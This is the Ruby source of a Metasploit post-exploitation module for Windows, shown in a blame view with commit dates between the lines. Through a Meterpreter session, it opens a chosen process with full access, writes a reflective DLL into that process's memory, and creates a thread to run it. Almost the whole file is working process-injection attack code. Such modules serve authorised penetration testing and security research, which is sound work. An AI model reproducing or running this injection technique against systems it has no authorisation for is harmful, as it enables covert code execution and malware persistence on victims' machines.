metasploit-framework/modules/post/windows/manage/reflective_dll_inject.rb

54 lines
1.7 KiB
Ruby
Raw Normal View History

2013-02-22 22:05:29 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-02-22 22:05:29 +00:00
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
2013-02-22 22:05:29 +00:00
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::ReflectiveDLLInjection
2013-09-05 18:41:25 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Reflective DLL Injection Module',
'Description' => %q{
This module will inject into the memory of a process a specified Reflective DLL.
},
'License' => MSF_LICENSE,
'Author' => [ 'Ben Campbell'],
2013-09-05 18:41:25 +00:00
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ]
]
))
register_options(
[
OptPath.new('PATH',[true, 'Reflective DLL to inject into memory of a process.']),
OptInt.new('PID',[true, 'Process Identifier to inject of process to inject payload.']),
], self.class)
end
# Run Method for when run command is issued
def run
# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
pid = datastore['PID'].to_i
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
2013-09-05 18:41:25 +00:00
print_status("Injecting #{datastore['PATH']} into #{pid} ...")
dll_mem, offset = inject_dll_into_process(host_process, datastore['PATH'])
2013-09-05 18:41:25 +00:00
2013-12-05 23:32:21 +00:00
print_status("DLL injected. Executing ReflectiveLoader ...")
host_process.thread.create(dll_mem + offset, 0)
print_good("DLL injected and invoked.")
2013-09-05 18:41:25 +00:00
end
2013-02-22 22:05:29 +00:00
end